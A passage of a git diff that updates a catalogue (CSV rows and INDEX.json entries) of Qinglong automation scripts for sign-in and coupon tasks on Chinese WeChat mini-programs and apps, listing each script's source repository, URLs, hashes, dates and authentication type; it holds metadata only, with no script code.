微信小程序/抓包版,美团领杂券,2025-11-27_mtV1_a94c1b46.py,a94c1b46d682342f4e550746aca6afb5d296a2a0080a5326a2e1820cfafc65db,GitHub,back-101/zyqinglong,mtV1.py,https://github.com/back-101/zyqinglong/blob/main/mtV1.py,https://raw.githubusercontent.com/back-101/zyqinglong/main/mtV1.py,2025-11-27T10:49:43Z,脚本库/微信小程序/抓包版/美团领杂券/2025-11-27_mtV1_a94c1b46.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,美孚,2025-06-28_美孚_8e3199b6.js,8e3199b6fd23f6e2a8da1c908b7c9709f892e2843294db627da3d7a93052497e,GitHub,jdqlscript/toulu,美孚.js,https://gitee.com/jdqlscript/toulu/blob/main/%E7%BE%8E%E5%AD%9A.js,https://gitee.com/jdqlscript/toulu/raw/main/%E7%BE%8E%E5%AD%9A.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/美孚/2025-06-28_美孚_8e3199b6.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,联通和沃畅游密码登录,2025-06-28_联通获取ck_a5eef486.py,a5eef4860ea719a6aeebe90421bb96740870ac057a7b0e1c5115b52013a5175f,GitHub,jdqlscript/toulu,联通获取ck.py,https://gitee.com/jdqlscript/toulu/blob/main/%E8%81%94%E9%80%9A%E8%8E%B7%E5%8F%96ck.py,https://gitee.com/jdqlscript/toulu/raw/main/%E8%81%94%E9%80%9A%E8%8E%B7%E5%8F%96ck.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/联通和沃畅游密码登录/2025-06-28_联通获取ck_a5eef486.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,臭宝乐园,2025-06-28_臭宝乐园_abd99e11.js,abd99e11219d5db720c17836b4f69202320cecd65c42f8cf70ab848b1029a204,GitHub,jdqlscript/toulu,臭宝乐园.js,https://gitee.com/jdqlscript/toulu/blob/main/%E8%87%AD%E5%AE%9D%E4%B9%90%E5%9B%AD.js,https://gitee.com/jdqlscript/toulu/raw/main/%E8%87%AD%E5%AE%9D%E4%B9%90%E5%9B%AD.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/臭宝乐园/2025-06-28_臭宝乐园_abd99e11.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,臭宝乐园,2026-05-14_choubao_5bbd98d8.js,5bbd98d8a822e4074280f475b354bbb68d4b7a6a72e3f9909b638231008e3ccb,GitHub,smallfawn/QLScriptPublic,wxapp/choubao.js,https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/choubao.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/choubao.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/臭宝乐园/2026-05-14_choubao_5bbd98d8.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,荷叶健康小程序,2026-05-14_hyjk_fafd24e8.js,fafd24e84af03196a944c9196f8bdd6e640018c604fb61c80a661c075a3d5db6,GitHub,smallfawn/QLScriptPublic,daily/hyjk.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/hyjk.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/hyjk.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/荷叶健康小程序/2026-05-14_hyjk_fafd24e8.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,蓝式宠物,2025-06-28_蓝式宠物_57deb499.py,57deb499db66cd7527a32970d8d8967f5eb20047bf7e5cf43e4f8b2a1d1c5013,GitHub,jdqlscript/toulu,蓝式宠物.py,https://gitee.com/jdqlscript/toulu/blob/main/%E8%93%9D%E5%BC%8F%E5%AE%A0%E7%89%A9.py,https://gitee.com/jdqlscript/toulu/raw/main/%E8%93%9D%E5%BC%8F%E5%AE%A0%E7%89%A9.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/蓝式宠物/2025-06-28_蓝式宠物_57deb499.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,蜜雪冰城,2025-11-27_mxbc_83036a79.js,83036a7920be058b8d1aa2691b1d8285172f95d1552a862d67c6f565e5e6ff50,GitHub,back-101/zyqinglong,mxbc.js,https://github.com/back-101/zyqinglong/blob/main/mxbc.js,https://raw.githubusercontent.com/back-101/zyqinglong/main/mxbc.js,2025-11-27T10:49:43Z,脚本库/微信小程序/抓包版/蜜雪冰城/2025-11-27_mxbc_83036a79.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,蜜雪冰城,2026-05-14_mxbc_68b9441a.js,68b9441aeb9c8765dc6ca01576fe2a09c0f6d010563dd65d9061e29e9fcffc93,GitHub,smallfawn/QLScriptPublic,daily/mxbc.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/mxbc.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/mxbc.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/蜜雪冰城/2026-05-14_mxbc_68b9441a.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,西施眼,2025-06-28_西施眼_9132a43e.js,9132a43eb779dedd83898d763fe418ca4edd715e149be0cc053c61c55a4130fd,GitHub,jdqlscript/toulu,西施眼.js,https://gitee.com/jdqlscript/toulu/blob/main/%E8%A5%BF%E6%96%BD%E7%9C%BC.js,https://gitee.com/jdqlscript/toulu/raw/main/%E8%A5%BF%E6%96%BD%E7%9C%BC.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/西施眼/2025-06-28_西施眼_9132a43e.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,谢瑞麟小程序签到,2026-05-14_tslj_28f4e466.js,28f4e466af4337269545853bd1d2829e7d314fa4157c0cad82b91a4650303ee7,GitHub,smallfawn/QLScriptPublic,wxapp/tslj.js,https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/tslj.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/tslj.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/谢瑞麟小程序签到/2026-05-14_tslj_28f4e466.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,谷雨小程序,2026-05-14_guyu_ef65b269.js,ef65b2694b08ab8584d6744f422ffa0748a46025b6316df40aeab472a62e139c,GitHub,smallfawn/QLScriptPublic,wxapp/guyu.js,https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/guyu.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/guyu.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/谷雨小程序/2026-05-14_guyu_ef65b269.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,起飞线生活,2025-06-28_起飞线_9bbd059d.js,9bbd059de9b6e631288978e47fce4aca0e35a5eeae22d581aa4c84118f600821,GitHub,jdqlscript/toulu,起飞线.js,https://gitee.com/jdqlscript/toulu/blob/main/%E8%B5%B7%E9%A3%9E%E7%BA%BF.js,https://gitee.com/jdqlscript/toulu/raw/main/%E8%B5%B7%E9%A3%9E%E7%BA%BF.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/起飞线生活/2025-06-28_起飞线_9bbd059d.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,达美乐,2025-06-28_达美乐_ac7dcacb.py,ac7dcacb101c1cc677a6b9c418de1ed3a63c43349c93191d0519d6375d79b3de,GitHub,jdqlscript/toulu,达美乐.py,https://gitee.com/jdqlscript/toulu/blob/main/%E8%BE%BE%E7%BE%8E%E4%B9%90.py,https://gitee.com/jdqlscript/toulu/raw/main/%E8%BE%BE%E7%BE%8E%E4%B9%90.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/达美乐/2025-06-28_达美乐_ac7dcacb.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,达美乐短信认证,2025-06-28_达美乐短信认证_435e1f0c.py,435e1f0c67ba8509a91e02100035261e85faa63adfe9d41b27747e380e0a3b21,GitHub,jdqlscript/toulu,达美乐短信认证.py,https://gitee.com/jdqlscript/toulu/blob/main/%E8%BE%BE%E7%BE%8E%E4%B9%90%E7%9F%AD%E4%BF%A1%E8%AE%A4%E8%AF%81.py,https://gitee.com/jdqlscript/toulu/raw/main/%E8%BE%BE%E7%BE%8E%E4%B9%90%E7%9F%AD%E4%BF%A1%E8%AE%A4%E8%AF%81.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/达美乐短信认证/2025-06-28_达美乐短信认证_435e1f0c.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,逑美_薇诺娜专柜小程序,2025-06-28_逑美And薇诺娜专柜小程序_5e1421f7.js,5e1421f703c649d97b345bae34bcb0dc104d9f509911575d3cd2a1aff7de206e,GitHub,jdqlscript/toulu,逑美And薇诺娜专柜小程序.js,https://gitee.com/jdqlscript/toulu/blob/main/%E9%80%91%E7%BE%8EAnd%E8%96%87%E8%AF%BA%E5%A8%9C%E4%B8%93%E6%9F%9C%E5%B0%8F%E7%A8%8B%E5%BA%8F.js,https://gitee.com/jdqlscript/toulu/raw/main/%E9%80%91%E7%BE%8EAnd%E8%96%87%E8%AF%BA%E5%A8%9C%E4%B8%93%E6%9F%9C%E5%B0%8F%E7%A8%8B%E5%BA%8F.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/逑美_薇诺娜专柜小程序/2025-06-28_逑美And薇诺娜专柜小程序_5e1421f7.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,途虎养车,2025-06-28_途虎养车_d3128030.js,d3128030e3756abb59fe0bb9fac09461b847ac31e054a809dad720520b23f2fb,GitHub,jdqlscript/toulu,途虎养车.js,https://gitee.com/jdqlscript/toulu/blob/main/%E9%80%94%E8%99%8E%E5%85%BB%E8%BD%A6.js,https://gitee.com/jdqlscript/toulu/raw/main/%E9%80%94%E8%99%8E%E5%85%BB%E8%BD%A6.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/途虎养车/2025-06-28_途虎养车_d3128030.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,逢三得利吧,2025-06-28_逢三得利吧_4e59c90a.js,4e59c90afaf62dfe2839fc737d1999bb010d1e5ffd0acabe5a3d2ab02958f408,GitHub,jdqlscript/toulu,逢三得利吧.js,https://gitee.com/jdqlscript/toulu/blob/main/%E9%80%A2%E4%B8%89%E5%BE%97%E5%88%A9%E5%90%A7.js,https://gitee.com/jdqlscript/toulu/raw/main/%E9%80%A2%E4%B8%89%E5%BE%97%E5%88%A9%E5%90%A7.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/逢三得利吧/2025-06-28_逢三得利吧_4e59c90a.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,逢三得利吧小程序,2026-05-14_fsdlb_c9dc848c.js,c9dc848cba4a86dddf42506acc314a0f9fdcf1babc95f32fb05e0eaeaf7e8d68,GitHub,smallfawn/QLScriptPublic,daily/fsdlb.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/fsdlb.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/fsdlb.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/逢三得利吧小程序/2026-05-14_fsdlb_c9dc848c.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,酷瓜,2025-06-28_酷瓜_f2c605f7.py,f2c605f703d051b8fd8f1cdb429524d6e15f8dc3de3a5cc336a70ed031b4ebf0,GitHub,jdqlscript/toulu,酷瓜.py,https://gitee.com/jdqlscript/toulu/blob/main/%E9%85%B7%E7%93%9C.py,https://gitee.com/jdqlscript/toulu/raw/main/%E9%85%B7%E7%93%9C.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/酷瓜/2025-06-28_酷瓜_f2c605f7.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,金杜丹小程序,2025-06-28_金杜丹_224fde1a.py,224fde1a86ef16df82bbdcf49c53e800e36be47f424312344fd46d9e43690a6a,GitHub,jdqlscript/toulu,金杜丹.py,https://gitee.com/jdqlscript/toulu/blob/main/%E9%87%91%E6%9D%9C%E4%B8%B9.py,https://gitee.com/jdqlscript/toulu/raw/main/%E9%87%91%E6%9D%9C%E4%B8%B9.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/金杜丹小程序/2025-06-28_金杜丹_224fde1a.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,长虹智慧家居每日签到,2026-05-14_changhongmeiling_abc462ca.py,abc462caab783d5dccff1eff251f9e2fbbd5f6bda3341c2b2823879f663b6045,GitHub,smallfawn/QLScriptPublic,daily/changhongmeiling.py,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/changhongmeiling.py,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/changhongmeiling.py,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/长虹智慧家居每日签到/2026-05-14_changhongmeiling_abc462ca.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,长虹美菱,2025-06-28_长虹美菱_9c11ffd0.py,9c11ffd02b98f33021e88c0c56805947899261cb0d3e1ee7cc14c9a3185103e7,GitHub,jdqlscript/toulu,长虹美菱.py,https://gitee.com/jdqlscript/toulu/blob/main/%E9%95%BF%E8%99%B9%E7%BE%8E%E8%8F%B1.py,https://gitee.com/jdqlscript/toulu/raw/main/%E9%95%BF%E8%99%B9%E7%BE%8E%E8%8F%B1.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/长虹美菱/2025-06-28_长虹美菱_9c11ffd0.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,雪花勇闯天涯,2025-06-28_勇闯天涯superX_c2490fa1.js,c2490fa158966609851a759fb578f3ce38387e3e6462087454b32dbced4e4128,GitHub,jdqlscript/toulu,勇闯天涯superX.js,https://gitee.com/jdqlscript/toulu/blob/main/%E5%8B%87%E9%97%AF%E5%A4%A9%E6%B6%AFsuperX.js,https://gitee.com/jdqlscript/toulu/raw/main/%E5%8B%87%E9%97%AF%E5%A4%A9%E6%B6%AFsuperX.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/雪花勇闯天涯/2025-06-28_勇闯天涯superX_c2490fa1.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,霸王茶几,2025-06-28_霸王茶几_5f665c80.py,5f665c8069eda40c4ee2a079fc1c99dcbf08100f169cbb5627794b208ac68078,GitHub,jdqlscript/toulu,霸王茶几.py,https://gitee.com/jdqlscript/toulu/blob/main/%E9%9C%B8%E7%8E%8B%E8%8C%B6%E5%87%A0.py,https://gitee.com/jdqlscript/toulu/raw/main/%E9%9C%B8%E7%8E%8B%E8%8C%B6%E5%87%A0.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/霸王茶几/2025-06-28_霸王茶几_5f665c80.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,霸王茶姬,2025-11-27_bwcj_06bf870b.js,06bf870b97969c74c457c56c0469f658dddcef743a58a8f1866d5c2df1bd0b78,GitHub,back-101/zyqinglong,bwcj.js,https://github.com/back-101/zyqinglong/blob/main/bwcj.js,https://raw.githubusercontent.com/back-101/zyqinglong/main/bwcj.js,2025-11-27T10:49:43Z,脚本库/微信小程序/抓包版/霸王茶姬/2025-11-27_bwcj_06bf870b.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,霸王茶姬签到,2025-06-28_霸王茶姬_9912dbbd.py,9912dbbdb8c510a0c1cab7f819db26d0f240d60a1a77da938f8c2861357200c3,GitHub,jdqlscript/toulu,霸王茶姬.py,https://gitee.com/jdqlscript/toulu/blob/main/%E9%9C%B8%E7%8E%8B%E8%8C%B6%E5%A7%AC.py,https://gitee.com/jdqlscript/toulu/raw/main/%E9%9C%B8%E7%8E%8B%E8%8C%B6%E5%A7%AC.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/霸王茶姬签到/2025-06-28_霸王茶姬_9912dbbd.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,顺丰端午版本,2025-06-03_顺丰端午版本_155fe229.py,155fe229920272b06e5229b04f5071d5398aab0a48fa7da60fc02aa19cc17114,GitHub,jdqlscript/zyqinglong,顺丰端午版本.py,https://gitee.com/jdqlscript/zyqinglong/blob/main/%E9%A1%BA%E4%B8%B0%E7%AB%AF%E5%8D%88%E7%89%88%E6%9C%AC.py,https://gitee.com/jdqlscript/zyqinglong/raw/main/%E9%A1%BA%E4%B8%B0%E7%AB%AF%E5%8D%88%E7%89%88%E6%9C%AC.py,2025-06-03T12:08:50+08:00,脚本库/微信小程序/抓包版/顺丰端午版本/2025-06-03_顺丰端午版本_155fe229.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,顺丰速运,2025-06-03_SFSY_9380501b.py,9380501b6277927a947cbd459fc52fce15c137ae143f9cd6a5a3980cb435be00,GitHub,jdqlscript/zyqinglong,SFSY.py,https://gitee.com/jdqlscript/zyqinglong/blob/main/SFSY.py,https://gitee.com/jdqlscript/zyqinglong/raw/main/SFSY.py,2025-06-03T12:08:50+08:00,脚本库/微信小程序/抓包版/顺丰速运/2025-06-03_SFSY_9380501b.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,顺丰速运,2025-06-28_顺丰速运_435a23dd.py,435a23dd8bfd493b15201ca0f2589fa640193a1853a57203fdd4a545c12ac184,GitHub,jdqlscript/toulu,顺丰速运.py,https://gitee.com/jdqlscript/toulu/blob/main/%E9%A1%BA%E4%B8%B0%E9%80%9F%E8%BF%90.py,https://gitee.com/jdqlscript/toulu/raw/main/%E9%A1%BA%E4%B8%B0%E9%80%9F%E8%BF%90.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/顺丰速运/2025-06-28_顺丰速运_435a23dd.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,顺丰速运日常任务,2026-05-14_sfsy_be659945.py,be6599450801dd0f1cf9b8d7280a0e412cce8e091104d39a3ef59b1ecb57cf91,GitHub,smallfawn/QLScriptPublic,daily/sfsy.py,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/sfsy.py,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/sfsy.py,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/顺丰速运日常任务/2026-05-14_sfsy_be659945.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,顾家家居,2025-06-28_顾家家居_a31d0967.js,a31d0967043c017443f6229e1164b3ba3392d596b50c1fc62c8b811ac33725c8,GitHub,jdqlscript/toulu,顾家家居.js,https://gitee.com/jdqlscript/toulu/blob/main/%E9%A1%BE%E5%AE%B6%E5%AE%B6%E5%B1%85.js,https://gitee.com/jdqlscript/toulu/raw/main/%E9%A1%BE%E5%AE%B6%E5%AE%B6%E5%B1%85.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/顾家家居/2025-06-28_顾家家居_a31d0967.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,骁龙骁友会,2026-04-07_wx_xlxyh_54797296.js,5479729628c6fef0cd258e6be563d3d0c8a66d541ba8f0decbd55a6bb61ce1ef,GitHub,smallfawn/QLScriptPublic,wxapp/wx_xlxyh.js,https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/wx_xlxyh.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/wx_xlxyh.js,2026-04-07T07:52:51Z,脚本库/微信小程序/抓包版/骁龙骁友会/2026-04-07_wx_xlxyh_54797296.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,高济健康pro小程序签到,2025-06-28_高济健康_53c56682.js,53c56682213335b3a8a7dba0a06dfbb840324d343601d8d7d8f03b336d491d2f,GitHub,jdqlscript/toulu,高济健康.js,https://gitee.com/jdqlscript/toulu/blob/main/%E9%AB%98%E6%B5%8E%E5%81%A5%E5%BA%B7.js,https://gitee.com/jdqlscript/toulu/raw/main/%E9%AB%98%E6%B5%8E%E5%81%A5%E5%BA%B7.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/高济健康pro小程序签到/2025-06-28_高济健康_53c56682.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,鸿星尔克签到,2026-04-01_erke_c82ab68b.py,c82ab68bd69e9577d92fa8366558ae24b3be8793d62bef0381e1914cc805750d,GitHub,smallfawn/QLScriptPublic,daily/erke.py,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/erke.py,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/erke.py,2026-04-01T12:37:39Z,脚本库/微信小程序/抓包版/鸿星尔克签到/2026-04-01_erke_c82ab68b.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,麦斯威尔福利社小程序,2026-05-14_maisiweier_a234b70b.js,a234b70b9780db372862cbf81313a343e4b84a614b95294cd30e9fd928379177,GitHub,smallfawn/QLScriptPublic,daily/maisiweier.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/maisiweier.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/maisiweier.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/麦斯威尔福利社小程序/2026-05-14_maisiweier_a234b70b.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 diff --git a/INDEX.json b/INDEX.json index 5394af8..6c0b444 100644 --- a/INDEX.json +++ b/INDEX.json @@ -1,4 +1,20 @@ [ + { + "category": "APP版/抓包", + "project": "3_查询商品商店信息", + "filename": "2025-11-20_3_retrieve_shop_and_product_info_029d5d64.py", + "sha256": "029d5d6421f5a3432bb04e3040139b27ff23131bba02594dfb2d8391b12992fd", + "source_platform": "GitHub", + "source_repo": "AkenClub/ken-iMoutai-Script", + "source_path": "3_retrieve_shop_and_product_info.py", + "source_url": "https://github.com/AkenClub/ken-iMoutai-Script/blob/main/3_retrieve_shop_and_product_info.py", + "raw_url": "https://raw.githubusercontent.com/AkenClub/ken-iMoutai-Script/main/3_retrieve_shop_and_product_info.py", + "uploaded_at": "2025-11-20T09:54:34+08:00", + "saved_path": "脚本库/APP版/抓包/3_查询商品商店信息/2025-11-20_3_retrieve_shop_and_product_info_029d5d64.py", + "auth_type": "抓包", + "platform_type": "APP版", + "evidence": "cookie/token/authorization/header" + }, { "category": "APP版/抓包", "project": "AIPM中转站", @@ -127,6 +143,22 @@ "platform_type": "APP版", "evidence": "cookie/token/authorization/header" }, + { + "category": "APP版/抓包", + "project": "env", + "filename": "2026-04-07_env_89a06fae.js", + "sha256": "89a06fae1893022eebe3efe869870ddd87549ddaf1cd158c369060a81934cef9", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "tools/env.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/tools/env.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/tools/env.js", + "uploaded_at": "2026-04-07T12:33:25Z", + "saved_path": "脚本库/APP版/抓包/env/2026-04-07_env_89a06fae.js", + "auth_type": "抓包", + "platform_type": "APP版", + "evidence": "cookie/token/authorization/header" + }, { "category": "APP版/抓包", "project": "hscy", @@ -207,6 +239,38 @@ "platform_type": "APP版", "evidence": "cookie/token/authorization/header" }, + { + "category": "APP版/抓包", + "project": "万家乐", + "filename": "2025-06-28_万家乐_1adde720.py", + "sha256": "1adde72027d2e2407e706ee56bc7821d9a59d7ee9b9729563ba68d0b55e6d593", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "万家乐.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E4%B8%87%E5%AE%B6%E4%B9%90.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E4%B8%87%E5%AE%B6%E4%B9%90.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/APP版/抓包/万家乐/2025-06-28_万家乐_1adde720.py", + "auth_type": "抓包", + "platform_type": "APP版", + "evidence": "cookie/token/authorization/header" + }, + { + "category": "APP版/抓包", + "project": "北京现代", + "filename": "2026-04-02_bjxd_a680cf46.py", + "sha256": "a680cf465f0ac16d7a83b7b70762ad13ce94b713829255df0a6390cfde87402e", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/bjxd.py", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/bjxd.py", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/bjxd.py", + "uploaded_at": "2026-04-02T02:22:19Z", + "saved_path": "脚本库/APP版/抓包/北京现代/2026-04-02_bjxd_a680cf46.py", + "auth_type": "抓包", + "platform_type": "APP版", + "evidence": "cookie/token/authorization/header" + }, { "category": "APP版/抓包", "project": "发财网API中转站", @@ -223,6 +287,22 @@ "platform_type": "APP版", "evidence": "cookie/token/authorization/header" }, + { + "category": "APP版/抓包", + "project": "夸克自动签到", + "filename": "2026-05-14_quark_6ffca99d.py", + "sha256": "6ffca99dbbda1318e011f003244908a1c83db172b3549699b254b309b0fe5a00", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/quark.py", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/quark.py", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/quark.py", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/APP版/抓包/夸克自动签到/2026-05-14_quark_6ffca99d.py", + "auth_type": "抓包", + "platform_type": "APP版", + "evidence": "cookie/token/authorization/header" + }, { "category": "APP版/抓包", "project": "快手极速版", @@ -255,6 +335,54 @@ "platform_type": "APP版", "evidence": "cookie/token/authorization/header" }, + { + "category": "APP版/账密", + "project": "1_获取登录验证码", + "filename": "2025-11-20_1_generate_code_8c9e80a6.py", + "sha256": "8c9e80a6466a2291a043e5852ed029aa0d610a9f58974757a3b82c4ecd675d34", + "source_platform": "GitHub", + "source_repo": "AkenClub/ken-iMoutai-Script", + "source_path": "1_generate_code.py", + "source_url": "https://github.com/AkenClub/ken-iMoutai-Script/blob/main/1_generate_code.py", + "raw_url": "https://raw.githubusercontent.com/AkenClub/ken-iMoutai-Script/main/1_generate_code.py", + "uploaded_at": "2025-11-20T09:54:34+08:00", + "saved_path": "脚本库/APP版/账密/1_获取登录验证码/2025-11-20_1_generate_code_8c9e80a6.py", + "auth_type": "账密", + "platform_type": "APP版", + "evidence": "username/password/mobile/login" + }, + { + "category": "APP版/账密", + "project": "2_登录", + "filename": "2025-11-20_2_login_15377770.py", + "sha256": "153777702f935023b805885108b95cc7ecbd1b8f473d6024e20a4f594909fcba", + "source_platform": "GitHub", + "source_repo": "AkenClub/ken-iMoutai-Script", + "source_path": "2_login.py", + "source_url": "https://github.com/AkenClub/ken-iMoutai-Script/blob/main/2_login.py", + "raw_url": "https://raw.githubusercontent.com/AkenClub/ken-iMoutai-Script/main/2_login.py", + "uploaded_at": "2025-11-20T09:54:34+08:00", + "saved_path": "脚本库/APP版/账密/2_登录/2025-11-20_2_login_15377770.py", + "auth_type": "账密", + "platform_type": "APP版", + "evidence": "username/password/mobile/login" + }, + { + "category": "APP版/账密", + "project": "98_查询申购结果", + "filename": "2025-11-20_98_check_reservation_result_43d3c067.py", + "sha256": "43d3c06749fa2ee28e34dee08daf91b99b3b8eb224b7095e6bad3d444d3e10e2", + "source_platform": "GitHub", + "source_repo": "AkenClub/ken-iMoutai-Script", + "source_path": "98_check_reservation_result.py", + "source_url": "https://github.com/AkenClub/ken-iMoutai-Script/blob/main/98_check_reservation_result.py", + "raw_url": "https://raw.githubusercontent.com/AkenClub/ken-iMoutai-Script/main/98_check_reservation_result.py", + "uploaded_at": "2025-11-20T09:54:34+08:00", + "saved_path": "脚本库/APP版/账密/98_查询申购结果/2025-11-20_98_check_reservation_result_43d3c067.py", + "auth_type": "账密", + "platform_type": "APP版", + "evidence": "username/password/mobile/login" + }, { "category": "APP版/账密", "project": "机场签到", @@ -303,6 +431,22 @@ "platform_type": "web版", "evidence": "web/H5关键词 + cookie/token/header" }, + { + "category": "web版/抓包", + "project": "100bt百田游戏", + "filename": "2025-06-28_百田网_8da05cf4.js", + "sha256": "8da05cf4aa35a18299f84d94059ceb07cf8ad8e0168032df913209409f4c32a9", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "百田网.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%99%BE%E7%94%B0%E7%BD%91.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%99%BE%E7%94%B0%E7%BD%91.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": 